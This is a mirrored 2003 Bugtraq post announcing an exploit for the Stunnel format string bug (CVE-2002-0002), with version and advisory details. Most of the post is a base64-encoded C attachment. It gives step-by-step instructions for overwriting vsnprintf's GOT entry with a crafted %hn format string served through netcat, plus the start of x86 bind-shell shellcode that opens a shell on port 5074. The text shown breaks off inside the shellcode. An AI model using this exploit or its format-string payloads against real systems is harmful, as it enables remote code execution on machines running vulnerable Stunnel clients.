The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Выпущена CD-версия OpenNet.RU для оффлайн просмотра.
Для формирования заказа - перейдите по ссылке
.
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

stunnel - exploit


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Wed, 15 Jan 2003 11:26:58 +0200
From: Darell Esfandia <deltha@analog.ro>
To: bugtraq@securityfocus.com, vuldb@securityfocus.com
Subject: stunnel - exploit

--------------239D435348F11EE4DE72DE74
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,
I attached an exploit for:

http://online.securityfocus.com/bid/3748/info/
bugtraq id 3748
object
class Input Validation Error
cve CVE-2002-0002

remote Yes
local No
published Dec 22, 2001
updated Jan 17, 2002
vulnerable Stunnel Stunnel 3.20
   + MandrakeSoft Linux Mandrake 8.1
   + MandrakeSoft Linux Mandrake 8.1 ia64
Stunnel Stunnel 3.15
Stunnel Stunnel 3.16
Stunnel Stunnel 3.17
Stunnel Stunnel 3.18
Stunnel Stunnel 3.19
   + RedHat Linux 7.2 i386
   + RedHat Linux 7.2 ia64
Stunnel Stunnel 3.21 c
Stunnel Stunnel 3.21 b
Stunnel Stunnel 3.21 a
Stunnel Stunnel 3.21

not vulnerable Stunnel Stunnel 3.22

Credit:

This vulnerability was originally discovered by Matthias Lange
<ml@netuse.de>, and announced via Bugtraq by Brian Hatch
<bugtraq@ifokr.org> on December 27, 2001.

References:

Advisory: MDKSA-2002:004: stunnel
(Mandrake)
Advisory: RHSA-2002:002-10: Updated stunnel packages available.
(RedHat)
Message: Stunnel: Format String Bug in versions <3.22
Message: Stunnel: Format String Bug update


--------------239D435348F11EE4DE72DE74
Content-Type: application/x-unknown-content-type-c_auto_file;
 name="w00nf-stunnel.c"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
 filename="w00nf-stunnel.c"

LyoKICogU3R1bm5lbCA8IDMuMjIgcmVtb3RlIGV4cGxvaXQKICogYnkgXnNxL3cwMG5mIC0g
ZGVsdGhhIFthdF0gYW5hbG9nLnJvCiAqIENvbnRhY3Q6IGRlbHRoYUBhbmFsb2cucm8KICog
V2VicGFnZTogaHR0cDovL3d3dy53MDBuZi5vcmcvXnNxLwogKgogKiBleSAuL3cwMG5mLXN0
dW5uZWwgY29udHJpYnMgLSBrZXdsdGhhbnggOgogKiBuZXNlY3Rpbywgd3N4eiwgc29sZXRh
cmlvLCBzcGFjZXdhbGtlciwgcm9iaW4sIGx1Y2t5Ym95LCBoYXNoLCBub2JvZHksIGFjMWQs
IGFuZCBub3QgQCB0aGUgZW5kOiBiYWprZXJvCiAqCiAqIFlvdSBhbHNvIG5lZWQgbmV0Y2F0
IGFuZCBmb3JtYXQgc3RyaW5ncyBidWlsZCB1dGlsaXR5IChmcm9tIG15IHdlYnBhZ2UpCiAq
IENvbXBpbGU6IGdjYyAtdyAtbyB3MDBuZi1zdHVubmVsIHcwMG5mLXN0dW5uZWwuYwogKgog
KiAgIC4gICAuICAuLiAuLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
LiAuLi4KICogIC4gICAgICAgICAgICAgICAgICAgICAgICAgX19fXyAgX19fXyAgICAgICAg
X19fX18gICAgICAgIDouOi46CiAqICA6ICAgICAgICAgICAgICAgXyAgICAgIF9fLyBfXyBc
LyBfXyBcX19fXyAgLyBfXy8gICAgICAgICAgIDouLgogKiAgOi4uICAgICAgICAgICAgfCB8
IC98IC8gLyAvIC8gLyAvIC8gLyBfXyBcLyAvXyAgICAgICAgICAgICAgIDoKICogIC4uOi4u
ICAgICAgICAgIHwgfC8gfC8gLyAvXy8gLyAvXy8gLyAvIC8gLyBfXy8gICAgICAgICAgICAg
ICA6CiAqICA6LjogOi4uICAgICAgICB8X18vfF9fL1xfX19fL1xfX19fL18vIC9fL18vICAg
ICAgICAgICAgICAgICAgLgogKiAgOiA6ICAgOi4uCiAqICA6LjogOi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uIC4uICAuICAgLiAKICogICAgICAg
ICAgICAgICAgICAgICAgICAgICBUIC4gRSAuIEEgLiBNICAgICAgCiAqIAogKiBQT0MgLSBU
ZXN0ZWQgcmVtb3RlbHkgb24gbGludXggCiAqIFN0dW5uZWwgaXMgYSBwcm9ncmFtIHRoYXQg
YWxsb3dzIHlvdSB0byBlbmNyeXB0IGFyYml0cmFyeSBUQ1AgY29ubmVjdGlvbnMgaW5zaWRl
IFNTTCAKICogVmlzaXQgaHR0cDovL3d3dy5zdHVubmVsLm9yZyBmb3IgZGV0YWlscwogKgog
KiBJIGRpZG4ndCBhZGQgYSBzZWFyY2ggZnVuY3Rpb24gb3IgYnJ1dGVmb3JjZSBhdHRhY2sg
YmVjYXVzZSB0aGUgdnVsbmVyYWJpbGl0eSBkb2VzJ250IGFsbG93IHlvdQogKiB0byBncmFi
IHRoZSByZW1vdGUgc3RhY2suCiAqCiAqIERlc2NyaXB0aW9uIG9mIHRoaXMgZXhwbG9pdDoK
ICogVGhpcyBleHBsb2l0IHB1dHMgYSBwYXlsb2FkIG9uIGEgc3BlY2lmaWVkIHBvcnQuIFdo
ZW4gYSByZW1vdGUgdXNlciBjb25uZWN0cyB0byB5b3VyIG1hY2hpbmUgCiAqIHVzaW5nIHN0
dW5uZWwgb24gdGhlIHNwZWNpZmllZCBwb3J0LCB0aGUgZXhwbG9pdCBleGVjdXRlcyB0aGlz
IHBheWxvYWQgYW5kIGJpbmRzIGEgc2hlbGwgdG8gdGhlCiAqIHJlbW90ZSB1c2VycyBtYWNo
aW5lIG9uIHBvcnQgNTA3NC4KICogCiAqIFN1bW1hcnk6IAogKiBNYWxpY2lvdXMgc2VydmVy
cyBjb3VsZCBwb3RlbnRpYWxseSBydW4gY29kZSBhcyB0aGUgb3duZXIgb2YgYW4gU3R1bm5l
bCBwcm9jZXNzIHdoZW4gdXNpbmcgCiAqIFN0dW5uZWwncyBwcm90b2NvbCBuZWdvdGlhdGlv
biBmZWF0dXJlIGluIGNsaWVudCBtb2RlLiAKICoKICogRGVzY3JpcHRpb24gb2YgdnVsbmVy
YWJpbGl0eTogCiAqIFN0dW5uZWwgaXMgYW4gU1NMIHdyYXBwZXIgYWJsZSB0byBhY3QgYXMg
YW4gU1NMIGNsaWVudCBvciBzZXJ2ZXIsIAogKiBlbmFibGluZyBub24tU1NMIGF3YXJlIGFw
cGxpY2F0aW9ucyBhbmQgc2VydmVycyB0byB1dGlsaXplIFNTTCBlbmNyeXB0aW9uLiAKICog
SW4gYWRkaXRpb24sIFN0dW5uZWwgaGFzIHRoZSBhYmlsaXR5IHRvIHBlcmZvcm0gYXMgc2lt
cGxlIFNTTCBlbmNyeXB0aW9uL2RlY3J5cHRpb24gCiAqIGVuZ2luZS4gU3R1bm5lbCBjYW4g
bmVnb3RpYXRlIFNTTCB3aXRoIHNldmVyYWwgb3RoZXIgcHJvdG9jb2xzLCBzdWNoIGFzIAog
KiBTTVRQJ3MgIlNUQVJUVExTIiBvcHRpb24sIHVzaW5nIHRoZSAnLW4gcHJvdG9jb2xuYW1l
JyBmbGFnLiBEb2luZyBzbyAKICogcmVxdWlyZXMgdGhhdCBTdHVubmVsIHdhdGNoZXMgdGhl
IGluaXRpYWwgcHJvdG9jb2wgaGFuZHNoYWtlIGJlZm9yZSAKICogYmVnaW5uaW5nIHRoZSBT
U0wgc2Vzc2lvbi4gCiAqIFRoZXJlIGFyZSBmb3JtYXQgc3RyaW5nIGJ1Z3MgaW4gZWFjaCBv
ZiB0aGUgc210cCwgcG9wLCBhbmQgbm50cCAKICogY2xpZW50IG5lZ290aWF0aW9ucyBhcyBz
dXBwbGllZCB3aXRoIFN0dW5uZWwgdmVyc2lvbnMgMy4zIHVwIHRvIDMuMjFjLiAKICoKICog
Tm8gZXhwbG9pdCBpcyBjdXJyZW50bHkga25vd24sIGJ1dCB0aGUgYnVncyBhcmUgbW9zdCBs
aWtlbHkgZXhwbG9pdGFibGUuIAogKiAKICogSW1wYWN0OiAKICogSWYgeW91IHVzZSBTdHVu
bmVsIHdpdGggdGhlICctbiBzbXRwJywgJy1uIHBvcCcsICctbiBubnRwJyBvcHRpb25zIAog
KiBpbiBjbGllbnQgbW9kZSAoJy1jJyksIGEgbWFsaWNvdXMgc2VydmVyIGNvdWxkIGFidXNl
IHRoZSBmb3JtYXQgCiAqIHN0cmluZyBidWcgdG8gcnVuIGFyYml0cmFyeSBjb2RlIGFzIHRo
ZSBvd25lciBvZiB0aGUgU3R1bm5lbCAKICogcHJvY2Vzcy4gVGhlIHVzZXIgdGhhdCBydW5z
IFN0dW5uZWwgZGVwZW5kcyBvbiBob3cgeW91IHN0YXJ0IAogKiBTdHVubmVsLiBJdCBtYXkg
b3IgbWF5IG5vdCBiZSByb290IC0tIHlvdSB3aWxsIG5lZWQgdG8gY2hlY2sgCiAqIGhvdyB5
b3UgaW52b2tlIFN0dW5uZWwgdG8gYmUgc3VyZS4gCiAqIFRoZXJlIGlzIG5vIHZ1bG5lcmFi
aWxpdHkgdW5sZXNzIHlvdSBhcmUgaW52b2tpbmcgU3R1bm5lbCB3aXRoIAogKiB0aGUgJy1u
IHNtdHAnLCAnLW4gcG9wJywgb3IgJy1uIG5udHAnIG9wdGlvbnMgaW4gY2xpZW50IG1vZGUu
IAogKiBUaGVyZSBhcmUgbm8gZm9ybWF0IHN0cmluZyBidWdzIGluIFN0dW5uZWwgd2hlbiBp
dCBpcyBydW5uaW5nIGFzIGFuIFNTTCAKICogc2VydmVyLiAKICoKICogTWl0aWdhdGluZyBm
YWN0b3JzOiAKICogSWYgeW91IHN0YXJ0IFN0dW5uZWwgYXMgcm9vdCBidXQgaGF2ZSBpdCBj
aGFuZ2UgdXNlcmlkIHRvIHNvbWUgb3RoZXIgCiAqIHVzZXIgdXNpbmcgdGhlICctcyB1c2Vy
bmFtZScgb3B0aW9uLCB0aGUgU3R1bm5lbCBwcm9jZXNzIHdpbGwgYmUgCiAqIHJ1bm5pbmcg
YXMgJ3VzZXJuYW1lJyBpbnN0ZWFkIG9mIHJvb3Qgd2hlbiB0aGlzIGJ1ZyBpcyB0cmlnZ2Vy
ZWQuIAogKiBJZiB0aGlzIGlzIHRoZSBjYXNlLCB0aGUgYXR0YWNrZXIgY2FuIHN0aWxsIHRy
aWNrIHlvdXIgU3R1bm5lbCBwcm9jZXNzIAogKiBpbnRvIHJ1bm5pbmcgY29kZSBhcyAndXNl
cm5hbWUnLCBidXQgbm90IGFzIHJvb3QuIAogKiBXaGVyZSBwb3NzaWJsZSwgd2Ugc3VnZ2Vz
dCBydW5uaW5nIFN0dW5uZWwgYXMgYSBub24tcm9vdCB1c2VyLCBlaXRoZXIgCiAqIHVzaW5n
IHRoZSAnLXMnIG9wdGlvbiBvciBzdGFydGluZyBpdCBhcyBhIG5vbi1wcml2aWxlZ2VkIHVz
ZXIuIAogKgogKiBUcmlnZ2VyaW5nIHRoaXMgdnVsbmVyYWJpbGl0eSAtIGV4YW1wbGUgZm9y
IGtpZHo6CiAqIE9idGFpbiBhIHNoZWxsIGFjY291bnQgb24gdG8tYmUtaGFja2VkJ3Mgc2Vy
dmVyIGFuZCBwZXJmb3JtIHRoZSBmb2xsb3dpbmcgY29tbWFuZHM6CiAqIHNxQGNhbDAxMzEw
Mjogd2hlcmVpcyBzdHVubmVsCiAqIHN0dW5uZWw6IC91c3Ivc2Jpbi9zdHVubmVsCiAqIGNo
YW5nZSBkaXJlY3RvcnkgdG8gd2hlcmUgaXMgc3R1bm5lbAogKiBPYnRhaW4gdnNucHJpbnRm
J3MgUl8zODZfSlVNUF9TTE9UOgogKiBzcUBjYWwwMTMxMDI6fi9zdHVubmVsLTMuMjAkIC91
c3IvYmluL29iamR1bXAgLS1keW5hbWljLXJlbG9jIC4vc3R1bm5lbCB8Z3JlcCBwcmludGYK
ICogMDgwNTM0NzAgUl8zODZfSlVNUF9TTE9UICAgZnByaW50ZgogKiAtLS0tPjA4MDUzNGE4
IFJfMzg2X0pVTVBfU0xPVCAgIHZzbnByaW50ZgogKiAwODA1MzVhNCBSXzM4Nl9KVU1QX1NM
T1QgICBzbnByaW50ZgogKiAwODA1MzYyMCBSXzM4Nl9KVU1QX1NMT1QgICBzcHJpbnRmCiAq
IG9wZW4gMiB0ZXJtaW5hbHMKICogaW4gdGhlIGZpcnN0IHRlcm1pbmFsIG1ha2UgbmV0Y2F0
IGNvbm5lY3QgdG8gYSBwb3J0IChlZyAyNTI1MjUpCiAqIHNxQGNhbDAxMzEwMjp+L3N0dW5u
ZWwtMy4yMCQgbmMgLXAgMjUyNTI1IC1sIAogKiBpbiB0aGUgc2Vjb25kIHRlcm1pbmFsIChy
ZW1vdGUpIHNpbXVsYXRlIGF0dGFjayAKICogLi9zdHVubmVsIC1jIC1uIHNtdHAgLXIgbG9j
YWxob3N0OjI1MjUyNQogKiBpbiB0aGUgZmlyc3QgdGVybWluYWwgd2l0aCBuYyBpbnNlcnQg
YSBzcGVjaWFsbHkgY3JhZnRlZCBzdHJpbmcgdG8gZ3JlcCBlYXRzdGFjayB2YWx1ZQogKiBB
QUFBQkJCQiV4fCV4fCV4fCV4fCV4fCV4fCV4fCV4fCV4fCV4fCV4fCV4fCV4fCV4fCV4fCV4
fAogKiBpbiB0aGUgc2Vjb25kIHRlcm1pbmFsIChyZW1vdGUpIGl0IHdpbGwgcmV0dXJuIHRo
ZSBzdGFjayB2YWx1ZXMgYW5kIHNlZSBhdCB3aGljaCBwb3NpdGlvbiAKICogNDE0MTQxNDEg
YW5kIDQyNDI0MiBhcHBlYXJlZAogKiBBQUFBQkJCQnxiZmZmZjg2OHxiZmZmZmI2MHxiZmZm
ZmVjZXxiZmZmZmVkM3w4MDUwM2FlfDQwMjc1NTgwfDQwMTZiZmM0fAogKiA0MDI3ZjNjNHw0
MTQxNDE0MXw0MjQyNDI0MnwyNTdjNzgyNXw3ODI1N2M3OHw3Yzc4MjU3Y3wKICogMjU3Yzc4
MjV8NzgyNTdjNzh8N2M3ODI1N2N8IC0+NDE0MTQxPTkgYW5kIDQyNDI0Mj0xMAogKiB0cnkg
YWdhaW4gd2l0aCB0byBzZWUgaWYgZWF0c3RhY2sgdmFsdWUgaXMgOSBBQUFBQkJCQiU5JHgl
MTAkeCBhbmQgaXQgd2lsbCByZXR1cm4gQUFBQUJCQkI0MTQxNDE0MTQyNDI0MjQyCiAqIHB1
dCB0aGUgYWRkcmVzcyBvYnRhaW5lZCB3aXRoIG9iamR1bXAgaW4gaGV4IGxpdHRsZSBlbmRp
YW4gZm9ybWF0IFx4YThceDM0XHgwNVx4MDggYW5kIGxhc3QgdmFsdWUgKzIgXHhhYVx4MzRc
eDA1XHgwOAogKiAoYTgrMj1hYSkgYW5kIGdlbmVyYXRlIHRoZSBkZWNpbWFsIHZhbHVlIG9m
IGZvcm1hdCBzdHJpbmcgYWZ0ZXIgeW91IGdvdCB0aGUgbWlkZGxlIG9mIG5vcHMgdmFsdWUg
b24gc3RhY2sgMHhiZmZmZjg5YgogKiB3aXRoIGJ1aWxkLCBhIHByb2dyYW0gYXR0YWNoZWQg
dG8gdGhpcyBleHBsb2l0LgogKiAuL2J1aWxkIDA4MDUzNGE4IDB4YmZmZmY4OWIgOQogKiBh
ZHIgOiAxMzQ1NTg4ODggKDgwNTM0YTgpCiAqIHZhbCA6IC0xMDczNzQzNzE3IChiZmZmZjg5
YikKICogdmFsaDogNDkxNTEgKGJmZmYpCiAqIHZhbGw6IDYzNjQzIChmODliKQogKiBbqqgl
LjQ5MTQzeCU5JGhuJS4xNDQ5MnglMTAkaG5dICgzNSkKICogqqglLjQ5MTQzeCU5JGhuJS4x
NDQ5MnglMTAkaG4KICogVGhlIHJlc3VsdGluZyBzdHJpbmcgaXMgJS40OTE0M3glOSRobiUu
MTQ0OTJ4JTEwJGhuIC0+IAogKiAiJ2AlLjMyNzU5dSU5XCRobiUuMzIxOTd1JTEwXCRobiBy
ZXBsYWNlIGVhdHN0YWNrIDEwIHdpdGggOSBvdGhlcndpc2UgaXQgd29uJ3Qgd29yawogKiBl
ZyAiJ2AlLjMyNzU5dSUxMFwkaG4lLjMyMTk3dSU5XCRobgogKiBQdXQgdGhlIHBheWxvYWQg
aW4gYSBmaWxlIGVjaG8gYHBlcmwgLWUgJ3ByaW50ICJceGM0XHgzNVx4MDVceDA4XHhjNlx4
MzVceDA1XHgwOCInYCUuMzI3NTl1JTEwXCRobiUuMzIxOTd1JTlcJGhuID4geAogKiBCaW5k
IHRoZSBwYXlsb2FkIHRvIGEgcG9ydCAuL25ldGNhdCAtcCAyNTI1MjUgLWwgPHgKICogU2lt
dWxhdGUgdGhlIHBheWxvYWQgYXR0YWNrIC4vc3R1bm5lbCAtYyAtbiBzbXRwIC1yIGxvY2Fs
aG9zdDoyNTI1MjUKICogQWRkIHlvdXIgb3duIGNyYWZ0ZWQgZm9ybWF0IGluIHRoZSBleHBs
b2l0OgogKiBjaGFyIGZtdERFQklBTjMwW109Ilx4YThceDM0XHgwNVx4MDhceGFhXHgzNFx4
MDVceDA4JS40OTE0M3glMTBcJGhuJS4xNDQ5MnglOVwkaG4iOyAwODA1MzRhOCB2c25wcmlu
dGYKICogY2hhciBmbXRZT1VST1dOW109IiI7ICAgUl8zODZfSlVNUF9TTE9UICB2c25wcmlu
dGYgCiAqIFNpbXVsYXRlIHRoZSBwYXlsb2FkIGF0dGFjayB3aXRoIHRoaXMgZXhwbG9pdCAu
L3cwMG5mLXN0dW5uZWwgLXQgNiAtcCAyNTI1MjUgdDYgd291bGQgYmUgeW91ciBjdXN0b20g
cGF5bG9hZAogKiBhZnRlciB5b3UgYWRkZWQgeW91ciBzdHJpbmcgaW4gdGhlIGV4cGxvaXQu
CiAqIElmIHN0dW5uZWwgd2FzIGNvbXBpbGVkIHdpdGggZ2RiIHN1cHBvcnQgYW5kIHlvdSBz
ZXQgdWxpbWl0IC1jIDkwMjQgb3Igd2hhdGV2ZXIgdG8gY29yZWR1bXAgb24geW91ciB0ZXJt
aW5hbAogKiB0aGVuIHN0dW5uZWwgd2lsbCBjb3JlZHVtcCBpZiB5b3UgZGlkbid0IGd1ZXNz
IHRoZSBleGFjdCBzdGFja3ZhbHVlIGluIHRoZSBtaWRkbGUgb2Ygbm9wcy4KICogSWYgc3R1
bm5lbCB3YXNuJ3QgY29tcGlsZWQgd2l0aCBnZGIgc3VwcG9ydCB0aGVuIGRvd25sb2FkIGl0
IGZyb20gdGhlIHN0dW5uZWwgd2Vic2l0ZQogKiBhbmQgY29tcGlsZSB3aXRoIGdkYiBzdXBw
b3J0LiAKICogT25jZSB5b3UgaGF2ZSBkb3dubG9hZGVkIGl0IHJ1biAnLi9jb25maWd1cmUg
ZWRpdCBNYWtlZmlsZScgLCBhbmQgd2hlcmUgeW91IHNlZSAnQ0ZMQUdTJyBhZGQgJy1nIC1n
Z2RiMycKICogZWcuICdjYXQgTWFrZWZpbGUgfGdyZXAgQ0ZMQUdTJwogKiBDRkxBR1M9LWcg
LWdnZGIzIC1PMiAtV2FsbCAtSS91c3IvbG9jYWwvc3NsL2luY2x1ZGUgIC1EVkVSU0lPTj1c
IjMuMjBcIiAtREhBVkVfT1BFTlNTTD0xIC1Ec3NsZGlyPVwiL3Vzci9sb2NhbC9zc2xcIgog
KiAtRFBFTV9ESVI9XCJcIiAtRFJBTkRPTV9GSUxFPVwiL2Rldi91cmFuZG9tXCIgLURTU0xM
SUJfQ1M9MCAtREhPU1Q9XCJpNTg2LXBjLWxpbnV4LWdudVwiIC1ESEFWRV9MSUJETD0xICAK
ICogREhBVkVfTElCUFRIUkVBRD0xIC1ESEFWRV9MSUJVVElMPTEgLURIQVZFX0xJQldSQVA9
MSBldGNldGMKICogT3BlbiBjb3JlIGluIGdkYiBzcUBjYWwwMTMxMDI6fi9zdHVubmVsLTMu
MjAkZ2RiIC4vc3R1bm5lbCBjb3JlLjI0MTEKICogeC8xMGkgJGVzcCBhbmQgcHJlc3MgZW50
ZXIgYSBjb3VwbGUgb2YgdGltZXMgdGlsbCB5b3UgZmluZCAnbm9wIG5vcCBub3Agbm9wIG5v
cCBub3AnLgogKiBHZXQgdGhlIHN0YWNrIGFkZHJlc3MgaW4gdGhlIG1pZGRsZSBvZiBub3Bz
LCAweGJmZmZmODliIGlzIG15IGFkZHJlc3MKICogYW5kIGJ1aWxkICg5IGlzIGVhdHN0YWNr
KSBhZ2FpbiB3aXRoIHRoZSAuL2J1aWxkIHV0aWxpdHkKICogUmVidWlsZCBhbmQgcmVwZWF0
LgogKiAuL2J1aWxkIDA4MDUzNGE4IDB4YmZmZmY4OWIgOQogKiBQdXQgdGhlIHBheWxvYWQg
aW4gYSBmaWxlIGVjaG8gYHBlcmwgLWUgJ3ByaW50ICJceGM0XHgzNVx4MDVceDA4XHhjNlx4
MzVceDA1XHgwOCInYCUuMzI3NTl1JTEwXCRobiUuMzIxOTd1JTlcJGhuID4geAogKiAuL3cw
MG5mLXN0dW5uZWwgLXQgNiAtcCAyNTI1MjUgdDYgaXMgeW91ciBjdXN0b20gcGF5bG9hZCBh
bmQgaXQgd2lsbCBiaW5kIGEgc2hlbGwgb24gNTA3NCA6KQogKiBJZiBpdCB3b3JrZWQgdGhl
biBhZGQgeW91ciBvd24gY3JhZnRlZCBmb3JtYXQgaW4gdGhlIGV4cGxvaXQKICogY2hhciBm
bXRERUJJQU4zMFtdPSJceGE4XHgzNFx4MDVceDA4XHhhYVx4MzRceDA1XHgwOCUuNDkxNDN4
JTEwXCRobiUuMTQ0OTJ4JTlcJGhuIjsgIDA4MDUzNGE4IHZzbnByaW50ZgogKiBjaGFyIGZt
dFlPVVJPV05bXT0iXHhhOFx4MzRceDA1XHgwOFx4YWFceDM0XHgwNVx4MDglLjQ5MTQzeCUx
MFwkaG4lLjE0NDkyeCU5XCRobiI7ICAgUl8zODZfSlVNUF9TTE9UICB2c25wcmludGYgCiAq
CiAqLwoKI2luY2x1ZGUgPGZjbnRsLmg+CiNpbmNsdWRlIDxuZXRkYi5oPgojaW5jbHVkZSA8
c3lzL3N0YXQuaD4KI2luY2x1ZGUgPHN5cy90eXBlcy5oPgojaW5jbHVkZSA8dW5pc3RkLmg+
CiNpbmNsdWRlIDxzdGRpby5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CiNpbmNsdWRlIDxnZXRv
cHQuaD4KI2luY2x1ZGUgPHN0ZGxpYi5oPgojaW5jbHVkZSA8bWVtb3J5Lmg+CiNpbmNsdWRl
IDxlcnJuby5oPgojaW5jbHVkZSA8c3lzbG9nLmg+CgppbnQgTUFYOwpjaGFyIGxpbnV4c2hl
bGxjb2RlW10gPQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyog
ICA8cHJpdjhzZWN1cml0eT46IGJpbmRANTA3NCAqLwoJIlx4OTBceDkwXHg5MFx4OTBceDkw
IiAgICAgICAgICAvKiAgIG5vcAkgICAgICAgICAgICAgICAgKi8KCSJceDkwXHg5MFx4OTBc
eDkwXHg5MCIgICAgICAgICAgLyogICBub3AJCSAgICAgICAgKi8KCSJceDkwXHg5MFx4OTBc
eDkwXHg5MCIgICAgICAgICAgLyogICBub3AJICAgICAgICAgICAgICAgICovCgkiXHg5MFx4
OTBceDkwXHg5MFx4OTAiICAgICAgICAgIC8qICAgbm9wCSAgICAgICAgICAgICAgICAqLwoJ
Ilx4OTBceDkwXHg5MFx4OTBceDkwIiAgICAgICAgICAvKiAgIG5vcAkgICAgICAgICAgICAg
ICAgKi8KCSJceDkwXHg5MFx4OTBceDkwXHg5MCIgICAgICAgICAgLyogICBub3AJICAgICAg
ICAgICAgICAgICovCgkiXHg5MFx4OTBceDkwXHg5MFx4OTAiICAgICAgICAgIC8qICAgbm9w
CSAgICAgICAgICAgICAgICAqLwoJIlx4OTBceDkwXHg5MFx4OTBceDkwIiAgICAgICAgICAv
KiAgIG5vcAkgICAgICAgICAgICAgICAgKi8KCSJceDkwXHg5MFx4OTBceDkwXHg5MCIgICAg
ICAgICAgLyogICBub3AJICAgICAgICAgICAgICAgICovCgkiXHg5MFx4OTBceDkwXHg5MFx4
OTAiICAgICAgICAgIC8qICAgbm9wCSAgICAgICAgICAgICAgICAqLwoJIlx4OTBceDkwXHg5
MFx4OTBceDkwIiAgICAgICAgICAvKiAgIG5vcAkgICAgICAgICAgICAgICAgKi8KCSJceDkw
XHg5MFx4OTBceDkwXHg5MCIgICAgICAgICAgLyogICBub3AJICAgICAgICAgICAgICAgICov
CgkiXHg5MFx4OTBceDkwXHg5MFx4OTAiICAgICAgICAgIC8qICAgbm9wCSAgICAgICAgICAg
ICAgICAqLwoJIlx4OTBceDkwXHg5MFx4OTBceDkwIiAgICAgICAgICAvKiAgIG5vcAkgICAg
ICAgICAgICAgICAgKi8KCSJceDkwXHg5MFx4OTBceDkwXHg5MFx4OTAiICAgICAJLyogICBu
b3AJICAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4MzFceGMwIiAgICAgICAgICAgICAg
ICAgICAgICAvKiAgIHhvciAgICAlZWF4LCVlYXggICAgICAgICAgICovCiAgICAgICAgIlx4
NTAiICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAgIHB1c2ggICAlZWF4ICAgICAgICAg
ICAgICAgICovCiAgICAgICAgIlx4NDAiICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAg
IGluYyAgICAlZWF4ICAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4ODlceGMzIiAgICAg
ICAgICAgICAgICAgICAgICAvKiAgIG1vdiAgICAlZWF4LCVlYnggICAgICAgICAgICovCiAg
ICAgICAgIlx4NTAiICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAgIHB1c2ggICAlZWF4
ICAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4NDAiICAgICAgICAgICAgICAgICAgICAg
ICAgICAvKiAgIGluYyAgICAlZWF4ICAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4NTAi
ICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAgIHB1c2ggICAlZWF4ICAgICAgICAgICAg
ICAgICovCiAgICAgICAgIlx4ODlceGUxIiAgICAgICAgICAgICAgICAgICAgICAvKiAgIG1v
diAgICAlZXNwLCVlY3ggICAgICAgICAgICovCiAgICAgICAgIlx4YjBceDY2IiAgICAgICAg
ICAgICAgICAgICAgICAvKiAgIG1vdiAgICAkMHg2NiwlYWwgICAgICAgICAgICovCiAgICAg
ICAgIlx4Y2RceDgwIiAgICAgICAgICAgICAgICAgICAgICAvKiAgIGludCAgICAkMHg4MCAg
ICAgICAgICAgICAgICovCiAgICAgICAgIlx4MzFceGQyIiAgICAgICAgICAgICAgICAgICAg
ICAvKiAgIHhvciAgICAlZWR4LCVlZHggICAgICAgICAgICovCiAgICAgICAgIlx4NTIiICAg
ICAgICAgICAgICAgICAgICAgICAgICAvKiAgIHB1c2ggICAlZWR4ICAgICAgICAgICAgICAg
ICovCiAgICAgICAgIlx4NjZceDY4XHgxM1x4ZDIiICAgICAgICAgICAgICAvKiAgIHB1c2h3
ICAkMHhkMjEzICAgICAgICAgICAgICovCiAgICAgICAgIlx4NDMiICAgICAgICAgICAgICAg
ICAgICAgICAgICAvKiAgIGluYyAgICAlZWJ4ICAgICAgICAgICAgICAgICovCiAgICAgICAg
Ilx4NjZceDUzIiAgICAgICAgICAgICAgICAgICAgICAvKiAgIHB1c2ggICAlYnggICAgICAg
ICAgICAgICAgICovCiAgICAgICAgIlx4ODlceGUxIiAgICAgICAgICAgICAgICAgICAgICAv
KiAgIG1vdiAgICAlZXNwLCVlY3ggICAgICAgICAgICovCiAgICAgICAgIlx4NmFceDEwIiAg
ICAgICAgICAgICAgICAgICAgICAvKiAgIHB1c2ggICAkMHgxMCAgICAgICAgICAgICAgICov
CiAgICAgICAgIlx4NTEiICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAgIHB1c2ggICAl
ZWN4ICAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4NTAiICAgICAgICAgICAgICAgICAg
ICAgICAgICAvKiAgIHB1c2ggICAlZWF4ICAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4
ODlceGUxIiAgICAgICAgICAgICAgICAgICAgICAvKiAgIG1vdiAgICAlZXNwLCVlY3ggICAg
ICAgICAgICovCiAgICAgICAgIlx4YjBceDY2IiAgICAgICAgICAgICAgICAgICAgICAvKiAg
IG1vdiAgICAkMHg2NiwlYWwgICAgICAgICAgICovCiAgICAgICAgIlx4Y2RceDgwIiAgICAg
ICAgICAgICAgICAgICAgICAvKiAgIGludCAgICAkMHg4MCAgICAgICAgICAgICAgICovCiAg
ICAgICAgIlx4NDAiICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAgIGluYyAgICAlZWF4
ICAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4ODlceDQ0XHgyNFx4MDQiICAgICAgICAg
ICAgICAvKiAgIG1vdiAgICAlZWF4LDB4NCglZXNwLDEpICAgICovCiAgICAgICAgIlx4NDMi
ICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAgIGluYyAgICAlZWJ4ICAgICAgICAgICAg
ICAgICovCiAgICAgICAgIlx4NDMiICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAgIGlu
YyAgICAlZWJ4ICAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4YjBceDY2IiAgICAgICAg
